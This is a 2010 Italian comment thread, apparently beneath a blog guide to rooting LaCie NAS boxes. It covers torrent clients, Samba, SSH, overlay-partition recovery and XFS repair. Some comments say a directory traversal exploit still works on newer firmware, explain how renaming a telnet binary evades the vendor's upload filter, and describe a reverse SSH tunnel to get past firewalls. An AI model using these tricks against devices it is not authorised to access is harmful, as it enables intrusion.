Tieni sempre sott’occhio quanta ram usa il nas, rallenta parecchio quando finisce (tipo quando lo usi per scaricare un torrent).
Una domanda, per curiosità, come mai git e non subversion?
Ti premetto che non conosco git, mentre so che è un po rognoso configurare svn con lighttpd.
Se hai problemi con ssh fai un fischio 🙂
Massimiliano il 8 Gennaio 2010 alle 09:04 scrive:

Ti ringrazio molto per il tuo aiuto. Poi ho installato e configurato correttamente ssh grazie.
Guarderò la ram, anche se alla fine userò solo git e ssh. Hai qualche altro pacchetto da suggerirmi?
Io sono approdato a git direttamente da cvs senza fare il passaggio a svn che quindi non conosco. Ma cvs era un bagno di sangue… molte limitazioni, dal rinominare un file ad esempio al dover lavorare disconnesso.
Git ha di buono, non credo svn, che con il clone tu copi in locale sulla tua macchina tutto l’archivio e quindi puoi fare confronti tra file di vecchie versioni senza connetterti al server, che per una persona che lavora spesso in trasferta e su impianti è una grande comodità.
Sto rivalutando la Lacie che con questa modifica fatta al disco, ho molti loro prodotti, ma ultimamente ero un po’ deluso: non portano avanti il software, frequanti guasti per esempio l’alimentatore del mio edmin V2 e la rottura del circuito di un hd esterno fortunatamente l’alimentatore era quello che serviva all’edmin e alla fine da due ne ho fatto uno…
L’utilità di avere due dischi in mirroring non è dapoco, concentrando sempre di più i dati verso un’unica unità per questo apprezzo questo disco e ora che ci sono su in ssh… 🙂
Steppenwolf il 10 Gennaio 2010 alle 12:02 scrive:

Scusami se ti rispondo solo ora ma ero in viaggio di ritorno…
Ti consiglio, se ti può interessare, di installare il demone ntp così il nas si aggiorna l’orario da solo e la smette di dire che il tuo orario non è sincronizzato con il suo (in ssh la cosa è pesante perché non ti fa fare il login).
Un altro servizio che vorrei aggiungere, tempo permettendo, è nfs (lato server), ma bisogna compilare un modulo del kernel per farlo lavorare correttamente e al momento sono sotto esami, quindi appena ho tempo penso che mi ci metto su, anche se non sono un mago del cross-compiling.
Ciao. 🙂
gabriele il 10 Gennaio 2010 alle 19:51 scrive:

ciao e grazie delle info.
Ho un problema col client torrent di questa macchina, che non va e non riesco a debuggare. Mi sai consigliare una package alternativo per ARM, possibilmente con UI web?

Altra domanda: il NAS risiede su rete nattata (fastweb) ma vorrei usare uno dei servizi (es. ftp) per sincronizzare file da remoto (internet). Ho visto LogMeIn ma non mi pare ci sia una versione compilata per ARM. Hai qualche idea?

Grazie in anticipo
Steppenwolf il 11 Gennaio 2010 alle 03:01 scrive:

Dunque.. Non so bene che problemi hai con llibtorrent del nas.. ad ogni modo se ti devo consigliare un software alternativo direi decisamente transmission.
La stessa LaCie in un modello nuovo di hard disk di rete lo ha adottato. Tutto il programma consta di tre file eseguibili, uno script di avvio e il resto sono pagine web, manuali per man e documentazione in 571Kb (compressi).
Eccoti il link per il binario compilato per arm http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/transmission-1.33.tbz2
Dall’archivio non ti servono ne la cartella /usr/share/man, ne la cartella /usr/share/doc, ne la cartella /etc/init.d, in particolare l’ultima è da rimuovere assolutamente.
Ho buttato giù quattro righe di codice per un possibile script di avvio initng per transmission:

cd /etc/initng vi transmission.i

#!/sbin/itype

daemon transmission { need = bootmisc virtual/net; require_network; exec daemon = /usr/bin/transmission-daemon; }

cd runlevel echo transmission >> default.runlevel

Aggiornamento: ~~Non l’ho testato~~. Testato. Attualmente questo script NON funziona del tutto bene: Il demone “transmission-daemon” viene avviato correttamente, ma se si manda il comando ngc -s il demone risulta essere “DAEMON_STOPPED” anche se in realtà funziona senza problemi.

Transmission risponde alla pagina web http://indirizzo_web_nas:9091.
Attualmente ho installato e avviato (manualmente) transmission sul mio nas e devo dire che, una volta configurato, si sta comportando molto bene.

~~Non ho intenzione di installare transmission sul mio nas,~~ anche se sono sicuro che funzioni meglio di libtorrent, non per denigrare libtorrent che viene usato dai maggiori programmi per scaricare torrent (http://www.rasterbar.com/products/libtorrent/projects.html) ma la gestione del programma implementata dalla LaCie è decisamente limitata (a cominciare proprio dalla gestione delle porte).

Per quanto riguarda la possibilità di aggirare il nat della rete fastweb non mi viene in mente nulla di buono. Conosco bene LogMeIn, (alias Hamachi) essendo un programma commerciale non rilasciano il codice sorgente dunque non è possibile nemmeno compilarlo per altre piattaforme. Ne conosco versioni open-source che fanno la stessa cosa di hamachi. Sorry!

Spero di esserti stato di aiuto. Fammi sapere con transmission se hai avuto problemi.

Aggiornamento: http://trac.transmissionbt.com/wiki/WebInterface
gabriele il 11 Gennaio 2010 alle 08:13 scrive:

Il client torrent semplicemente ha smesso di scaricare senza errore apparente (e non ho capito come mettere il syslog a debug). Non credo sia un problema di rete perchè un paio di altri sw torrent sul pc invece lavorano senza problemi e senza particolari riconfigurazioni di port fwd del mio router/fw.
Ho provato anche a settare manualmente le configurazioni di up/download rate consigliate da utorrent, ma senza successo.
Tra l’altro dal syslog (System>Status>system log) vedo continui restart del servizio http (ogni minuto: al supporto mi hanno confermato essere un bug della distribuzione corrente)
Cmq grazie, ti terrò informato.
Massimiliano il 11 Gennaio 2010 alle 12:07 scrive:

Ciao, ero indeciso sul client ntp, ma ora che mi dici questo lo installerò sicuramente.
Stavo provando ad installare ddclient e l’ho messo però non funziona perchè mi chiede perl… sono indeciso, non vorrei fare troppi casini visto che ora inizia a funzionicchiare… che mi consigli?
Ah poi un’altra cosa stranissima che non mi spiego, è anche comica… ad un certo punto il client torrent ha iniziato ad inviarmi le mail di fine download al mio indirizzo mail… ma io non ricordo di aver impostato il mio indirizzo da nessuna parte e poi queste mail a volte partono e a volte no…
Alessio il 12 Gennaio 2010 alle 18:42 scrive:

Ciao a tutti, vi chiedo un informazione. Non sono molto pratico di Linux ma questa guida è molto ben fatta complimenti. Ecco il quesito: ho un lacie ED mini V2, è possibile installare il servizio CUPS e client torrent su questa unità?
E’ possibile utilizzare le procedure descritte per aggiungere telnet, ssh, cups ad un lacie EDmini V2?
Grazie per una risposta.
Steppenwolf il 13 Gennaio 2010 alle 00:27 scrive:

@Gabriele
In merito a libtorrent. Eccoti due porte che vengono aperte dal programma e che non sono modificabili dall’interfaccia amministrativa del nas:
netstat -l .... udp 0 0 0.0.0.0:4445 0.0.0.0:* udp 0 0 0.0.0.0:6881 0.0.0.0:* ...
Forse può essere di aiuto aprirle..

In più è possibile modificare la pagina web /www/download.html e il file /www/javascripts/download.js al fine di settare il livello di log degli eventi del torrent (“Livello min. avvisi”). La modifica è semplice perché il codice utile è già presente nei file originali, bisogna solo de-commentare alcune righe.
L’unica cosa sgradevole è che il livello di avvisi si deve settare a mano ogni volta che si riavvia il client torrent. I livelli di info sono: Fatal, Critical, Warning, Info, Debug e None.
__________________________________

@Massimiliano
Non so che dirti per il perl ricordati che è sempre un sistema embedded con poca cpu e poca memoria… Stai sempre attento a non sovrascrivere librerie e/o file già presenti.

Ah poi un’altra cosa stranissima che non mi spiego, è anche comica… ad un certo punto il client torrent ha iniziato ad inviarmi le mail di fine download al mio indirizzo mail… ma io non ricordo di aver impostato il mio indirizzo da nessuna parte e poi queste mail a volte partono e a volte no…

Quanto ci scommettiamo che invece la mail l’hai inserita? Magari quando hai modificato il file di configurazione xml del nas? Fai un rapido controllo nella pagina amministrativa del nas clicca su utenti e poi su admin e vedrai che nel “Profilo utente Admin” nel campo “Indirizzo e-mail (necessario per gli avvisi e-mail)” comparirà la tua mail.
Il motivo delle mail che a volte arrivano e a volte no è a causa di google mail che cestina le mail che arrivano da indirizzi non conosciuti o quando arrivano troppe mail contemporaneamente da uno stesso indirizzo ip (politica antispam). Controlla la cartella /var/mail del nas nella sotto-cartella msglog troverai tutte le mail che google ha rispedito al mittente 😀 (Our system has detected an unusual amount of unsolicited mail originating from your IP address… ecc.)
__________________________________

@Alessio
Penso proprio di si dato che mi sono basato sulle guide sul tuo modello per bucare il mio nas. Eccoti un po di link utili:
http://psykocybernetik.com/blog/?q=content/add-ssh-lacie-edmini-v2;
poi c’è questo link qui (anche qui parlano esplicitamente del demone ssh) http://www.rigacci.org/wiki/doku.php/doc/appunti/hardware/lacie_d2_network e infine darei un occhiata a questo forum http://forum.nas-central.org/viewforum.php?f=146&sid=2f2ab742f4d6e836734fe67dcc1dd07e
L’unica restrizione per il cups è la presenza del modulo del kernel usblp. Una volta che l’hai la shell per testare l’esistenza del modulo basta che scrivi modprobe usblp.
Per il resto il processore è sempre un arm, la versione del kernel è la stessa, quindi è possibile che sia lo stessa anche la versione del firmware. Per quello che ho visto in giro sembra che ssh sia già presente nel edmini-v2, quindi meno lavoro da fare. L’hack eseguito per aggiungere telnet è stato adottato anche dal tipo che ha scritto la guida che ti ho suggerito con il secondo link.. Il resto sta a te fare le prove che servono, io quel modello non lo possiedo e non posso esserti di aiuto più di tanto.
gabriele il 13 Gennaio 2010 alle 23:28 scrive:

ciao
grazie al tuo telnet e alle info sul debug di libtorrent ho capito che avevo sbagliato la configurazione del dns sul nas (non risolveva l’host dell’announce). Il torrent ancora non va ma almeno sono un passo avanti. Ci lavorero un po nel weekend.
Intanto grazie
A. Pigafetta il 18 Gennaio 2010 alle 21:37 scrive:

Ciao Steppenwolf,
ti ringrazio della guida, molto chiara e ben fatta.
Sono molto lontano dai tuoi livelli, ma trovo il coraggio di domandarti una cosa… 🙂
Abbiamo questo NAS da utilizzare per condividere file in una rete Windows, Samba però non è configurato (come a noi interessa) per gestire gli attributi DOS dei file in sola lettura.
Dalla documentazione leggo che va settato il `map read only’ ed eventualmente lo `store dos attributes’.
Con l’hack descritto ho letto il file `samba.conf’ in \etc\samba\, l’ho modificato aggiungendo la riga `map read only = permissions’, l’ho ricaricato, ma ad ogni riavvio o modifica della configurazione samba dall’interfaccia web, quest’ultima si perde… 🙁
Puoi darmi qualche dritta sul file in cui la devo inserire o quale documentazione è meglio che legga? Ti ringrazio — Luca
Steppenwolf il 19 Gennaio 2010 alle 19:19 scrive:

Se hai avuto modo di vedere la parte dell’articolo riguardante la preservazione dei diritti dell’utente e in particolare il servizio personal.i allora hai un idea di come procedere per mantenere le tue configurazioni personali.
Dunque se vuoi aggiungere delle righe in fondo ad un file:
cat /etc/samba/mysmb.conf >> /etc/samba/smb.conf

Altrimenti se vuoi sovrascrivere l’intero file:
cat /etc/samba/mysmb.conf > /etc/samba/smb.conf

Se, altrimenti, vuoi cambiare una singola riga preesistente:
PRINTING=" printing = cups" LINE="`cat /etc/samba/smb.conf | grep printing`" sed -i "s#${LINE}#${PRINTING}#g" /etc/samba/smb.conf

Aggiungi le righe che ti interessano alla fine del file personal.i, mentre il file “/etc/samba/mysmb.conf” è un file personale che ti puoi creare tu inserendo le configurazioni del samba che ti interessano.
Per finire dei riavviare il servizio samba: “ngc -r samba“. Tieni conto che è bash quindi una volta che sei dentro la sezione “script start” puoi scrivere tutte le righe bash che preferisci. Scusami se non ti sono di aiuto più di così ma sono davvero incasinato con gli studi al momento. Fammi sapere. 🙂
A. Pigafetta il 19 Gennaio 2010 alle 20:48 scrive:

Invece mi sei stato di grande aiuto, almeno adesso so cosa devo cercare e leggermi 😀
In bocca al lupo per i tuoi esami…
Ti ringrazio (e se riesco a combinare qualcosa ti faccio sapere) — Luca
RaSca il 27 Gennaio 2010 alle 16:20 scrive:

Ciao Steppenwolf, anzitutto grazie per la guida, ottima anche se si vuol cambiare (come nel mio caso) il filesystem del disco esposto /dev/md4.
L’unica cosa che non mi torna del tuo sshd.i per la generazione delle chiavi ssh è il fatto che richieda il comando script che, nel mio caso, non ho.
script dovrebbe essere nel pacchetto bsdutils, però non lo trovo qui http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/.

Hai una dritta da darmi?

Ciao e complimenti ancora.
RaSca il 27 Gennaio 2010 alle 16:51 scrive:

Ok, trovato. Il pacchetto è http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/util-linux-2.13.1.1.tbz2

Ora ho rebootato ma è da almeno 10 minuti lampeggiante ed inaccessibile. Come sono stati per te i tempi di reboot dopo l’installazione di ssh?

Ciao!
Steppenwolf il 27 Gennaio 2010 alle 18:20 scrive:

Mi spiace solo non aver letto i tuoi commenti prima, così da poterti fermare! Va bhe.. ora il danno è fatto.
Il comando “script” è insito in initng e viene letto e compreso dal suo parser. Non vi era alcuna ragione di cercare alcun pacchetto aggiuntivo.

Ho dato un occhiata al pacchetto che hai installato, ha sovrascritto molti eseguibili di sistema.. (Nel sostituire un file con una nuova versione può facilmente saltare la configurazione del nas, per molteplici motivi, librerie richieste non risolte, mancanza di compatibilità tra un eseguibile ed un altro. ecc.)

Adesso ti rimangono due possibilità.
La prima, la più semplice, aggiornare il firmware del nas, con l’utility ufficiale della LaCie. (Questo se l’utility è in grado di vedere il nas e qui sono molto scettico.) L’aggiornamento del firmware riporta il nas alla caratteristiche di fabbrica, l’unica cosa che si deve fare è ricreare le condivisione presenti sul nas con lo stesso nome; i dati non vengono perduti.

La seconda possibilità.
Avrai bisogno di un pc con linux installato, due connessioni sata libere, e tanta pazienza.
La buona notizia è che i file che hai sovrascritto in realtà non li hai sovrascritti! 😀
Infatti sul nas c’è una partizione di circa 640Mb che viene sovrapposta ad una più piccola dove vi è il s.o. effettivo del nas. Quando da shell telnet si spacchettano nuovi file, (come nella mia guida), o si modificano file già esistenti, il nas in realtà non modifica il filesystem del sistema operativo ma la partizione sovrapposta (overlay).

Andiamo alla parte pratica.
Devi staccare gli hd del nas e montarli nel tuo pc fisso (tutti e due !!),
Avere linux installato o usare un live cd di ubuntu
Installare mdadm se non è già presente nel tuo sistema linux (nel live cd non è presente) dall’utility gestione pacchetti.
Aprire una console di root e lanciate il comando:
mdadm --assemble --scan
Le partizioni raid dei tuoi hd del tuo nas saranno riconosciute istantaneamente.
Gli hd non sono effettivamente montati, per farlo bisogna cliccare sulle icone degli hd, altrimenti da riga di comando.
Per accedere alle informazioni presenti negli hd bisognerà avere i diritti di root, quindi dalla console di root devi eseguire il comando:
nautilus &
Devi cercare la partizione di circa 640Mb (/dev/md2) e dentro di questa troverai una cartella, snap/00/. Li ci sono tutti i file che hai modificato e installato nel tuo nas.
Qui viene la parte delicata. Devi cancellare ogni singolo file presente nell’archivio che hai scaricato. La parte delicata consiste nell’individuare con correttezza questi file (compara l’archivio con i file presenti nella tua partizione), e sopratutto individuare correttamente la partizione da 640Mb.
Se cancelli un file del firmware originale, non hai modo di tornare indietro.
Una volta eseguiti questi passaggi, arresta la macchina, monta nuovamente gli hd nel nas e avvialo (incrociando le dita).
Questa procedura l’ho eseguita anche io quando in uno dei miei tentativi di installare alcune applicazioni ho sovrascritto due librerie preesistenti nel nas e mi è andata bene perché il nas è tornato a funzionare correttamente.
Non cancellare nessuna cartella e non cancellare nessun file che non corrisponde all’archivio che hai scaricato (util-linux-2.13.1.1.tbz2). Ok?!
In bocca al lupo! 🙂

Un consiglio generale, prima di installare nuovi pacchetti software sul nas, controllate il loro contenuto con i file presenti sul nas stesso, se ci sono file che sovrascrivono file già presenti sul nal eliminateli dall’archivio in vostro possesso.
Ho messo a vostra disposizione, su questa guida, il mio archivio proprio per evitare che succedessero cose del genere.
E in generale andateci con i piedi di piombo quando installate nuovo software sulla vostra macchina.
Un altra cosa.. hai installato tutti i file presenti in quell’archivio che hai scaricato? Solo per farmi un idea di quello che hai fatto, non per altro.
RaSca il 28 Gennaio 2010 alle 12:11 scrive:

Ciao Steppenwolf,
sì ho fatto tutto quanto hai sospettato e sì, ho introiato tutto 😀

Tu hai scritto “Il comando “script” è insito in initng e viene letto e compreso dal suo parser. Non vi era alcuna ragione di cercare alcun pacchetto aggiuntivo.”, ma sshd.i non andava, anche lanciando con strace il messaggio era che no trovava script.

Nessun problema comunque, mi sono già messo al lavoro con l’ambiente rescue di Debian Lenny che ha tutti i requisiti che dici tu. Però non mi è chiara la funzione della snap/00. E’ quanto sta girando attualmente sul sistema o no? Visto che non ho alcun dato sensibile, non posso brasare totalmente la parte del sistema operativo e ripartire da zero? Non esiste sul dispositivo una sorta di tar contenente il sistema base da mettere nella partizione di avvio?

Grazie per il supporto e non ti preoccupare: il bello di hackerare è capire 😉
RaSca il 28 Gennaio 2010 alle 13:07 scrive:

Ok, tutto a posto, ho risolto.
Ho collegato un solo disco SATA al sistema rescue di una debian, ho lavorato su /dev/md2 rimuovendo i file installati da quel pacchetto. Ho quindi capito che la directory snaps/00 è una sorta di override del sistema principale: se il sistema trova quei file li usa, siano essi di sistema (tipo mount, che io avevo sovrascritto) o no.
Ho ricollegato il disco SINGOLARMENTE sul LACIE, quindi senza il secondario, ed il sistema si è avviato. Ho spento di nuovo, collegato l’altro disco ed ora si sta ricostruendo.

Grazie ancora per il preziosissimo aiuto.

P.S. per tutti: Samba per qualche arcana ragione eroga gli share con l’opzione “unix extensions = no” che limita notevolmente il mount CIFS su Linux, modificando il parametro a yes o rimuovendolo (visto che yes è il default), a Linux il filesystem piace di più (ad esempio è possibile creare file con il carattere “:”, come si da il caso che faccia rdiff-backup che sto usando).
Steppenwolf il 30 Gennaio 2010 alle 18:49 scrive:

Contento che hai risolto il problema! 🙂 Scusami se ti rispondo solo ora ma sono sotto esami…
Non ho ben capito perché hai collegato un solo disco e poi anche il secondo. Ogni volta che ho dovuto accedere ai dischi del mio nas tramite il fisso non ho avuto mai il bisogno di ricostruire l’array raid.

Ho quindi capito che la directory snaps/00 è una sorta di override del sistema principale: se il sistema trova quei file li usa, siano essi di sistema (tipo mount, che io avevo sovrascritto) o no.

Si è esatto, ed era quello che cercavo di spiegarti nel mio commento. Più che override parlerei di overlay (sovrapposizione).
Per maggiori informazioni a riguardo vedi: http://it.wikipedia.org/wiki/UnionFS

il bello di hackerare è capire

Assolutamente vero, spiegare come si fa una cosa, senza spiegarne il perché non è di aiuto a nessuno..

Se hai bisogno di una mano…. 😉
Ciao.
dirac il 11 Aprile 2010 alle 22:51 scrive:

@steppenwolf: guida meravigliosa. Provato sul big5 network2 e funziona perfettamente

@gabriele: per quanto riguarda l’accesso ftp quando il nas e’ nattatopuoi usare questo semplice metodo di hacking:

– dal nas fai un collegamento ssh verso un server esterno (il server in realta’ e’ il pc con cui vuoi effettuare la sincronizzazione)
– siccome il pc cambiera’ probabilmente il suo indirizzo ip (a meno che non abbia sempre lo stesso indirizzo ip pubblico) puoi usare anziche’ l’ip dello stesso il nome del pc su dyndns
– con ssh fai un reverse tunnel che mappi la porta ftp del client verso la porta ftp del tuo nas

Sicuramente se non hai mai fatto queste cose non ti sara’ tutto chiaro, in ogni modo e’ una variante del firewall piercing (per bypassare le regole dei firewall)

Chiedi se hai bisogno di chiarimenti

Dirac
dirac il 14 Aprile 2010 alle 14:44 scrive:

Provata anche la 2.2.6. Funziona sia l’exploit del directory traversal (../../../../)

che il telnet, con un piccolo accorgimento pero’ visto che evidentemente hanno inserito un pattern maching sul nome utelnetd e forse anche su telnet.cgi
Steppenwolf il 14 Aprile 2010 alle 20:03 scrive:

Non so che dirti.. Ho provato l’hack sul nuovo firmware prima di risponderti.
Mi ero già chiesto se funzionasse, ma non ho badato troppo al nas in questi ultimi giorni..
Come nel nuovo post che ho scritto oggi, non ho avuto problemi a applicare l’hack sul nas. A questo punto mi chiedo che tipo di difficoltà hai avuto tu..
Ad ogni modo è vero anche che i modelli sono leggermente diversi (a livello firmware intendo).
Fammi sapere… e grazie dei complimenti. 😛
dirac il 16 Aprile 2010 alle 16:28 scrive:

Niente di particolare, solo che se provi ad uploadare utelnetd non te lo fa fare; allora gli ho cambiato nome e l’ho chiamato ucontattad e funziona tutto alla perfezione…

probabilmente hanno messo un controllo che rende impossibile fare l’upload di un file di nome utelnetd, magari alla Lacie hanno letto il tuo post e hanno adottato le contromisure (mah!)

Dirac
Restore il 20 Aprile 2010 alle 08:42 scrive:

Ciao, ho il 2big e sfortunatamente da un momento all’altro non riesco più ad accederei ai dati, di seguito il log con l’errore.
Mi chiedevo se in qualche modo posso sperare di recuperare i dati, mi può essere utile la tua guida? Grazie.

Apr 16 17:30:12 (none) user.notice kernel: Filesystem “md4”: Disabling barriers, not supported by the underlying device
Apr 16 17:30:12 (none) user.notice kernel: XFS mounting filesystem md4
Apr 16 17:30:12 (none) user.notice kernel: Starting XFS recovery on filesystem: md4 (logdev: internal)
Apr 16 17:30:12 (none) user.alert kernel: Filesystem “md4”: xfs_inode_recover: Bad inode magic number, dino ptr = 0xc4e25500, dino bp = 0xc4cc8ec0, ino = 2957754997
Apr 16 17:30:12 (none) user.alert kernel: Filesystem “md4”: XFS internal error xlog_recover_do_inode_trans(1) at line 2310 of file fs/xfs/xfs_log_recover.c. Caller 0xbf05480c
Apr 16 17:30:12 (none) user.warn kernel: [] (dump_stack+0x0/0x14) from [] (xfs_error_report+0x54/0x64 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_error_report+0x0/0x64 [xfs]) from [] (xlog_recover_do_inode_trans+0x2bc/0x8fc [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_recover_do_inode_trans+0x0/0x8fc [xfs]) from [] (xlog_recover_do_trans+0x7c/0x158 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_recover_do_trans+0x0/0x158 [xfs]) from [] (xlog_recover_commit_trans+0x3c/0x54 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_recover_commit_trans+0x0/0x54 [xfs]) from [] (xlog_recover_process_data+0x188/0x234 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: r7:c4e40370 r6:38490200 r5:2a010000 r4:0000012a
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_recover_process_data+0x0/0x234 [xfs]) from [] (xlog_do_recovery_pass+0x2e8/0x868 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_do_recovery_pass+0x0/0x868 [xfs]) from [] (xlog_do_log_recovery+0x78/0x9c [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_do_log_recovery+0x0/0x9c [xfs]) from [] (xlog_do_recover+0x20/0x138 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: r9:00000000 r8:00000000 r7:c5bba000 r6:c59d6e80 r5:00000000
Apr 16 17:30:12 (none) user.warn kernel: r4:00024928
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_do_recover+0x0/0x138 [xfs]) from [] (xlog_recover+0x9c/0xbc [xfs])
Apr 16 17:30:12 (none) user.warn kernel: r7:c5bba000 r6:c59d6e80 r5:00000000 r4:00024928
Apr 16 17:30:12 (none) user.warn kernel: [] (xlog_recover+0x0/0xbc [xfs]) from [] (xfs_log_mount+0xb0/0x114 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: r6:00000000 r5:c7c3d2c0 r4:00000000
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_log_mount+0x0/0x114 [xfs]) from [] (xfs_mountfs+0x7c8/0xac0 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_mountfs+0x0/0xac0 [xfs]) from [] (xfs_ioinit+0x38/0x3c [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_ioinit+0x0/0x3c [xfs]) from [] (xfs_mount+0x32c/0x3c4 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: r5:c5bba000 r4:00000000
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_mount+0x0/0x3c4 [xfs]) from [] (vfs_mount+0x28/0x2c [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (vfs_mount+0x0/0x2c [xfs]) from [] (xfs_fs_fill_super+0x8c/0x1d4 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_fs_fill_super+0x0/0x1d4 [xfs]) from [] (get_sb_bdev+0x12c/0x184)
Apr 16 17:30:12 (none) user.warn kernel: r8:00008000 r7:c6f92da0 r6:c59f7a00 r5:c59f7a00 r4:c6f92db8
Apr 16 17:30:12 (none) user.warn kernel: [] (get_sb_bdev+0x0/0x184) from [] (xfs_fs_get_sb+0x24/0x30 [xfs])
Apr 16 17:30:12 (none) user.warn kernel: [] (xfs_fs_get_sb+0x0/0x30 [xfs]) from [] (vfs_kern_mount+0x58/0x94)
Apr 16 17:30:12 (none) user.warn kernel: [] (vfs_kern_mount+0x0/0x94) from [] (do_kern_mount+0x3c/0xd8)
Apr 16 17:30:12 (none) user.warn kernel: r8:bf09327c r7:c647c000 r6:00000000 r5:c77b5000 r4:00008000
Apr 16 17:30:12 (none) user.warn kernel: [] (do_kern_mount+0x0/0xd8) from [] (do_mount+0x57c/0x5cc)
Apr 16 17:30:12 (none) user.warn kernel: r9:00000000 r8:00008000 r7:c77b5000 r6:00000000 r5:00000000
Apr 16 17:30:12 (none) user.warn kernel: r4:00000000
Apr 16 17:30:12 (none) user.warn kernel: [] (do_mount+0x0/0x5cc) from [] (sys_mount+0x8c/0xd4)
Apr 16 17:30:12 (none) user.warn kernel: [] (sys_mount+0x0/0xd4) from [] (ret_fast_syscall+0x0/0x2c)
Apr 16 17:30:12 (none) user.warn kernel: r7:00000015 r6:0008eb1f r5:0008eb16 r4:00000000
Apr 16 17:30:12 (none) user.warn kernel: XFS: log mount/recovery failed: error 117
Apr 16 17:30:12 (none) user.warn kernel: XFS: log mount failed
Apr 16 17:30:12 (none) local1.notice mountuserfs: mount: mounting /dev/md4 on /home failed: Structure needs cleaning
Apr 16 17:30:12 (none) local1.notice mountuserfs: WARNING, failed to mount /home
Apr 16 17:30:12 (none) local1.notice InitNG: Service mountuserfs is up.
Apr 16 17:30:13 (none) local1.notice InitNG: Service mdadm is up.
Steppenwolf il 20 Aprile 2010 alle 09:15 scrive:

La risposta se la mia guida ti può essere utile.. si.
Spero intanto che te la cavi un minimo con linux, questo ti potrebbe essere d’aiuto.
Hai due modi per lavorare sugli hard disk, dal nas stesso o altrimenti da un pc fisso con su linux (magari ubuntu che è semplice) e mdadm installato.
Nell’ipotesi che non conosci linux e non vuoi togliere gli hd dal nas:
Dovresti seguire la guida passo passo fino al punto “aggiungere telnet al nas”. (Spero che tu conosca telnet)
Per accedere al sistema operativo del nas ti basta un accesso telnet, il resto della guida è superfluo.
Sul nas è già installata l’utility xfs_recovery.
Il comando che devi lanciare è: xfs_repair /dev/md4
con il comando: xfs_repair -L /dev/md4 cancellerai i log del filesystem (molto invasivo, suggerisco cautela)
se preferisci vedere un po di informazioni in più: xfs_repair -v -L /dev/md4
Il comando xfs_repair -n /dev/md4 controlla il filesystem senza modificare nulla.

Non sarebbe male se quando si chiede aiuto si indicasse anche che tipo di raid si sta usando nel nas,
e il proprio livello di competenza..
Comunque vada non formattare la partizione con i dati personali, anche se illeggibile ok?
Esistono programmi sotto windows per recuperare filesystem xfs, che funzionano estremamente bene.
Fammi sapere come va, eventualmente si prova un altra strada (con pc e windows).
In bocca a lupo. 🙂
Restore il 20 Aprile 2010 alle 09:24 scrive:

Ciao il RAID è un RAID 0 (da qui la grande paura di perdere i dati)
La mia conoscenza di linux è buona ma non ho mai affrontato RAID software o raid HW.

Dici che se lancio xfs_repair -L /dev/md4 non inguiai niente? Se va male qualcosa pero dei dati che devo recuperare assolutamente.
Steppenwolf il 20 Aprile 2010 alle 10:26 scrive:

L’utility xfs_repair dovrebbe fare al caso tuo, inoltre è distribuita insieme a xfs.
In passato ho fatto l’errore di cancellare l’intera partizione dati del mio nas.
L’utility xfs_repair non serve ad un tubo in queste circostanza perché ripara un filesystem danneggiato, non ne recupera i dati.
Sotto linux non sono riuscito a trovare nessun tool che mi permettesse di recuperare i dati
Mentre sotto windows ho trovato questa utility qui: Raise Data Recovery for XFS (http://www.ufsexplorer.com/rdr_xfs.php)
La cosa noiosa: è a pagamento e per farla funzionare con il raid ci devi aggiungere un plugin (anch’esso a pagamento)
Sempre della stessa società e distribuito un altro software: UFS Explorer Standard Recovery (anche qui da aggiungere il plugin del raid)
Il mio nas è in raid 1 quindo non ho avuto bisogno del plugin raid e il programma mi ha recuperato il 98% dei dati, impiegandoci circa un intera giornata.
Inoltre hai bisogno di un hd di capacità uguale ai dati che avevi storato nel nas, dato che entrambi i software usano la partizione del nas in sola lettura (ovviamente).
Ha c’è anche un altro comando: xfs_check
Una guida (il primo link restituito da google) che ho trovato su xfs e i suoi comandi è: http://linux.die.net/man/8/xfs_check
(Equivalente a fare man xfs)
Valuta tu, i programmi che ti ho descritto sono cari, io un tentativo con le utility del nas lo farei.
Senza contare che comunque devi estrarre gli hd del nas e montarli su un pc fisso (non ho idea se per te questo è un problema).

Prova prima con questo comando:
xfs_repair /dev/md4
e vedi un po’, senza -L è decisamente meno invasivo.
Mentre il comando:
xfs_repair -n /dev/md4
controlla ma non modifica nulla.
Restore il 20 Aprile 2010 alle 10:40 scrive:

Grazie ancora, si proverò a lanciare xfs_check e poi xfs_repair direttamente dal 2big e vedo che succede, spero tanto mi sistemi il FS 🙂 Poi ti faccio sapere. Prima però farò una immagine dei 2 HD con clonezilla. Non è un problema estrarli devo solo trovare un pc con 4 sata 🙂
Grazie anche per gli altri suggerimenti per il recupero dati ma spero di non giungere a tanto.
dirac il 21 Aprile 2010 alle 08:09 scrive:

Porca boia non riesco a mettere in piedi alcun sistema di criptatura sensato:
se uso truecrypt mettendo il file sul Lacie e ci accedo via samba da un pc con truecrypt installato va per un po’ e poi mi crasha il nas perche’ samba va in palla e l’uptime supera i 30 finche’ non muore il nas.

Cercando di fare l’operazione di cifratura direttamente sul nas vedo che non esiste il device /dev/loop0 su cui fare il loop per creare un device su file e poi cifrarlo. Creando lo special file con mknod apparentemente funziona, ma poi losetup mi dice che non esiste il device file (quindi probabilmente non c’e’ il modulo del kernel che supporta i loop, e non saprei dove prenderlo).

Idee?

Dirac
Steppenwolf il 21 Aprile 2010 alle 09:20 scrive:

No sorry.. really no..
